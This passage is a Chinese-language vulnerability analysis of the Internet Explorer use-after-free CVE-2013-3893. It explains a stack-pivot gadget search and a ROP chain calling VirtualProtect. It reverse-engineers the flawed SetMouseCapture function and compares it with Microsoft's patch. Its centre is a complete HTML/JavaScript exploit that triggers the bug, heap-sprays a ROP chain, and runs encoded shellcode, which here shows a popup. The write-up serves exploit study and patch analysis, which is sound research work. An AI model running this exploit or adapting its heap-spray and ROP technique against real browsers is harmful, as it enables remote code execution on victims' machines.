0x736c32fa | 0x736c32fa (b+0x000132fa) : \x94\xc3

不过上穷水尽疑无路,柳暗花明又一村。我们找到了一组包含pop esp的gadget,可以修改esp为0c0c0c0c

1
2
!py mona.py findwild -s "push ecx#*#pop esp#*#retn"
0x75b48d9e | 0x75b48d9e (b+0x00398d9e) : push ecx # pop esp # pop ebp # retn 4

步骤(2)上一个步骤执行到ret命令时,esp=0c0c0c10,所以在0c0c0c10起始埋下我们到ROP链接就行。

步骤(3)ROP设置shellcode内存可执行之后,跳转到shellcode运行即可。

ROP流程图

1
2
3
4
5
6
7
8
9
10
11
12
Heap	
(0) Reg eip->0c0c0c0c ecx=0c0c0c0c eax=0c0c0c04 esp=>stack
(1)=>0c0c0c0c push ecx#pop esp#..#ret 4 => esp=0c0c0c0c+4=>heap
(2)=>0c0c0c10 ret =>esp=0c0c0c10+4+4(因为ret4)
0c0c0c14 0c0c0c0c (跳过4字节)
(3)=>0c0c0c18 VirtualProtect_addr =>esp=0c0c0c10->0c0c0c18(因为ret4)
0c0c0c1c shellcode_addr ->0c0c0c30
0c0c0c20 0c0c0c00 [arg4]
0c0c0c24 0x1000 [arg3]
0c0c0c28 0x40 [arg2]
0c0c0c2c 0c0c0c0c[arg1]
(3) 0c0c0c30 shellcode

编写出EXP利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<!DOCTYPE html>
<html>
<head>
<title>Migraine</title>
</head>
<body>
​ Hello World!
<script type="text/javascript">
function trigger()
​ {
Math.tan(2,1);
var father=document.createElement("father");
var child=document.createElement("child");
Math.tan(1,2);
document.body.appendChild(father);
document.body.appendChild(child);
Math.sin(1,2);
​ child.applyElement(father);

​ father.onlosecapture=function() {
​ Heapspray();
document.write("");
//Math.cos(1,2);
​ tt = new Array(20);
for(i = 0; i < tt.length; i++) {
​ tt[i] = document.createElement('div');
//tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";//39x2字节
​ tt[i].className = "\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04\u0c0c\u0c04";
//将eax赋值为0c0c0c00
​ }
Math.sin(1,2);
//alert("123");
​ }

Math.cos(1,2);
​ father['outerText']="";
Math.cos(1,2);
​ father.setCapture();
​ child.setCapture();

function Heapspray()
​ {
//var rop_gadget="\u0ae2\u760e"; //760e0ae2 #mov esp,eax #dec ecx#retn
var rop_gadget="\u8d9e\u75b4" //0x75b48d9e push ecx # pop esp #pop ebp
​ +"\u1480\u7690" //0x76901480 ret
​ +"\u0c0c\u0c0c" //4 size
​ +"\u20d8\u7690" //VirtualProtect 0x769020d8
​ +"\u0c30\u0c0c"// shellcode_addr
​ +"\u0c00\u0c0c"//arg4
​ +"\u1000\u0000"//arg3
​ +"\u0040\u0000"//arg2
​ +"\u0c0c\u0c0c";//arg1
var shellcode="\uc931\u8b64\u3041\u408b\u8b0c\u1470\u96ad\u8bad\u1058\u538B\u013c\u8bda\u7852\uda01\u728b\u0120\u31de\u41c9\u01ad\u81d8\u4738\u7465\u7550\u81f4\u0478\u6f72\u4163\ueb75\u7881\u6408\u7264\u7565\u8be2\u2472\ude01\u8b66\u4e0c\u8b49\u1c72\ude01\u148b\u018e\u31da\u53c9\u5152\u6168\u7972\u6841\u694c\u7262\u4c68\u616f\u5464\uff53\u83d2\u0cc4\u5059\uc031\ub866\u6c6c\u6850\u3233\u642e\u7568\u6573\u5472\u54ff\u1024\uc483\u500c\uc031\u6fb8\u4178\u5023\u6c83\u0324\u6823\u6761\u4265\u4d68\u7365\u5473\u74ff\u1024\u54ff\u1c24\uc483\u500c\uc031\ub866\u4646\u5450\uc031\u41b8\u4141\u5023\u6c83\u0324\u5423\uc031\uff50\u2474\uff04\u2474\u3110\u50c0\u54ff\u2024\uc483\u0010";
var shellcode_old="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6961\u656e\u6d68\u6769\u8b72\u53c4\u5050\uff53\ufc57\uff53\uf857";
var sc="\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c"+rop_gadget+shellcode;
var nop="\u0c0c\u0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2

while(nop.length<0x10000)
​ nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码,所以0x10000/2个字节

var sc_nop=sc+nop_chunk;

//组合成单个大小为0x80000的堆块(heap-feng-shui)
while(sc_nop.length<0x100000)
​ sc_nop+=sc_nop;
​ sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
​ code=offset_pattern+sc_nop;
​ heap_chunks=new Array();
for(i=0;i<1000;i++)
​ {
​ heap_chunks[i]=code.substring(0,code.length);
​ }
​ }
​ }
window.setTimeout("trigger()",1000);
</script>
</body>
</html>

EXP执行流分析

直接进入一个gadget,执行栈翻转,esp被翻转到0c0c0c0c然后因为栈操作被继续提高到0c0c0c10,然后ret4跳转。

MIeNeqTJTBcu

haMaXk

跳转前esp指向0c0c0c10,因为ret 4跳转之后esp变为了0c0c0c18而不是0c0c0c10

LIICjC

yKX3QB

在0c0c0c18埋下VirtualProtect的地址,成功进入程序流。

1A37xgOYxVo8

VirtualProtect其实只是VirtualProtectEX的一个外壳,在函数内部,将参数分别入栈再调用VirtualProtectEX。查看我们入栈的数据是否正确,发现EX函数比原函数多了一个参数。

wNb2x5

执行之后eax返回1,说明执行成功,shellcode所在地址已经能够执行。

g6bb5U

进入shellcode执行,成功弹窗。

tEyOY2

jtRbme

2.1.5漏洞原因和补丁分析

我们使用IDA逆向分析关键函数SetMouseCapture。

IDA 生成的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
void __userpurge CDoc::SetMouseCapture(int a1@<eax>, CDoc *a2@<ecx>, CDoc *lpMem, int a4, void *a5, int a6, int a7, int a8)
{
CDoc *v8; // ebx@1
int v9; // edi@1
int v10; // eax@6
int v11; // ecx@7
void *v12; // eax@11
CImplPtrAry *v13; // ecx@15
struct CElementCapture *v14; // esi@15
int v15; // ecx@17
int v16; // eax@18
CMessage *v17; // ST14_4@22
CMessage *v18; // ecx@22
CElementCapture *v19; // ecx@23
CImplPtrAry *v20; // ST14_4@24
CServer *v21; // ecx@27
void *v22; // [sp+0h] [bp-A8h]@0
char v23; // [sp+10h] [bp-98h]@17
int v24; // [sp+14h] [bp-94h]@17
int v25; // [sp+A4h] [bp-4h]@6
void *lpMema; // [sp+B0h] [bp+8h]@12

v8 = lpMem;
v9 = a1;
if ( *((_DWORD *)lpMem + 469) & 0x1000 ) //没有对TreeNode对象是否在Dom做检查
​ v9 = 0;
if ( v9 )
{
​ v25 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
​ v10 = v25;
if ( v25 < 0 )
goto LABEL_31;
​ v11 = *((_DWORD *)lpMem + 67) + 4 * v25;
do
​ {
if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == v9 )
break;
​ --v10;
​ v11 -= 4;
​ }
while ( v10 >= 0 );
if ( v10 < 0 )
​ {
LABEL_31:
​ v12 = ATL_malloc(0x10u);
​ lpMema = (void *)(v12 ? CElementCapture::CElementCapture(v12, a7, a8, a4, a5) : 0);
if ( lpMema )
​ {
​ v14 = CDoc::GetLastCapture(v8);
if ( v14 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20)) )
​ {
​ CMessage::CMessage(&v23, 0);
​ v24 = 533;
​ CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0, 0);
if ( v14 == CDoc::GetLastCapture(v8) )
​ {
​ v16 = *((_DWORD *)v14 + 3);
if ( !(v16 & 2) )
​ {
​ v15 = *((_DWORD *)v14 + 2);
if ( !(*(_DWORD *)(v15 + 28) & 0x8000000) )
​ {
​ *((_DWORD *)v14 + 3) = v16 | 2;
​ *((_DWORD *)v8 + 469) |= 0x1000u;
​ CElement::FireEvent(
​ *((CElement **)v14 + 2),
​ (const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture,
1,
0,
-1,
0,
0);
​ *((_DWORD *)v8 + 469) &= 0xFFFFEFFF;
​ }
​ }
​ }
if ( *((_DWORD *)v8 + 65) & 0xFFFFFFFC )
​ {
if ( v14 == CDoc::GetLastCapture(v8) )
​ {
​ CElementCapture::~CElementCapture(v19);
CBlockElement::operator delete((void *)v14);
​ CImplPtrAry::Delete(v20, (int)v22);
​ }
​ CImplPtrAry::Append(v19, v22);
​ }
else
​ {
​ CElementCapture::~CElementCapture((CElementCapture *)v15);
CBlockElement::operator delete(lpMema);
​ v18 = v17;
​ }
​ CMessage::~CMessage(v18);
​ }
else
​ {
​ CImplPtrAry::Append(v13, v22);
if ( !v14 )
​ CServer::SetCapture(v21, 1);
​ }
​ }
​ }
}

else
{
​ CDoc::ClearMouseCapture(a2, lpMem);
}
}

对比微软的补丁可以知道,微软在进入LABEL_31:段前增加了判断,TreeNode是否在Dom树上,如果TreeNode不在Dom树上就不会进入LABEL_31的,也就不会触发漏洞。

经过之前的动态分析,可以知道进入LABEL_31之后会进入PumpMessage->NodeAddRef->GetInterface,最后导致UAF触发任意代码执行。

参考文献

[1].Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8 winxpsp3[DB/OL].

https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/,2014-9-19

[2]Payload_82.(https://www.52pojie.cn/home.php?mod=space&uid=817719).暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告[DB/OL].https://www.52pojie.cn/thread-730324-1-1.html,2018-4-24

[3]0x9A82.IE浏览器漏洞综合利用技术:堆喷射技术[DB/OL].https://bbs.pediy.com/thread-223106.htm,2017-12-4

[4]Geek青松.(https://me.csdn.net/u010142102).CVE-2013-3893 IE浏览器UAF漏洞分析[DB/OL]。https://blog.csdn.net/u010142102/article/details/89207164,2019-04-11

[5]luobobo.CVE-2013-3893 详细分析[DB/OL].https://bbs.pediy.com/thread-226879.htm,2018-5-19

扩展阅读

Crash和利用分析可以看这篇

http://www.freesion.com/article/137468367/

https://www.cnblogs.com/wal613/p/3887719.html

IE浏览器安全

https://www.infoq.cn/article/Internet-Explorer-Security1/

https://www.infoq.cn/article/InternetExplorer-Security2/

https://www.anquanke.com/post/id/187650

Pwnable-UAF

https://cloud.tencent.com/developer/article/1345751

浏览器运行原理(推荐)

https://www.html5rocks.com/zh/tutorials/internals/howbrowserswork/#1_1

0x9A82师傅写的都是精品

UAF漏洞学习

https://www.cnblogs.com/Ox9A82/p/5320857.html

IE漏洞的调试心得

https://www.cnblogs.com/Ox9A82/p/5782425.html

CVE-2013-3893

https://www.cnblogs.com/Ox9A82/p/5797123.html

附录

Windbg符号表设置

符号表设置在调试IE漏洞中非常重要,没有符号表调试过程就像盲人摸象,在Windbg中设置符号地址为

SRVc:\Symbolshttp://msdl.microsoft.com/download/symbols

>.reload 重新载入符号表

如果载入出现问题,可以执行!sym noisy之后再进行reload,windbg会打印符号表载入细节。例如这里可以看的处是微软符号服务器的问题,无法下载对应PDB文件。如果是winxp系统,则是微软已经关闭了服务,无法通过这种方法下载。如果是win7及以上,可能是服务器抽风了,检查一下这个网站是否可以访问,多试几次一般就行了。

当初安装时候以为WIN7的符号表也和WinXP一样一声不响地关闭了,前两天还给Vista下载了符号表,然后这两天忽然就不行。不过到了第二天,忽然又可以载入符号表了,听大佬说到明年WIN7才会停止支持。

img

对于winxp,因为符号包弃用,只能去下载别人的符号表。

img

.reload -f mshtml.dll下载mshtml.dll的符号表(pdb文件)。我们都知道mshtml是IE浏览器的用于解析页面最重要的组件。

然后就可以下断点了。调试IE如果没有符号表基本就没有办法好好调试了。

可以使用x 搜索mshtml中的函数进行下断点。

img

IDA符号表设置

我们还可以将符号表加载到IDA,这样反汇编mshtml.dll时里面的函数就会真正拥有它本来的姓名,而不是sub_xxx的名称。

使用file-load file-PDB file就能加载符号表了。当然还是建议在mshtml本地环境(我这里是WIn7 SP1)安装一个IDA pro6.8,这样也会少去了很多步骤。

img

加载符号表之前

img

加载符号表之后

img

符号表的一些参考文献:

https://stackoverflow.com/questions/4828583/error-symbol-file-could-not-be-found-windbg-exe

https://www.wintellect.com/the-secret-to-avoiding-debugger-slowdowns/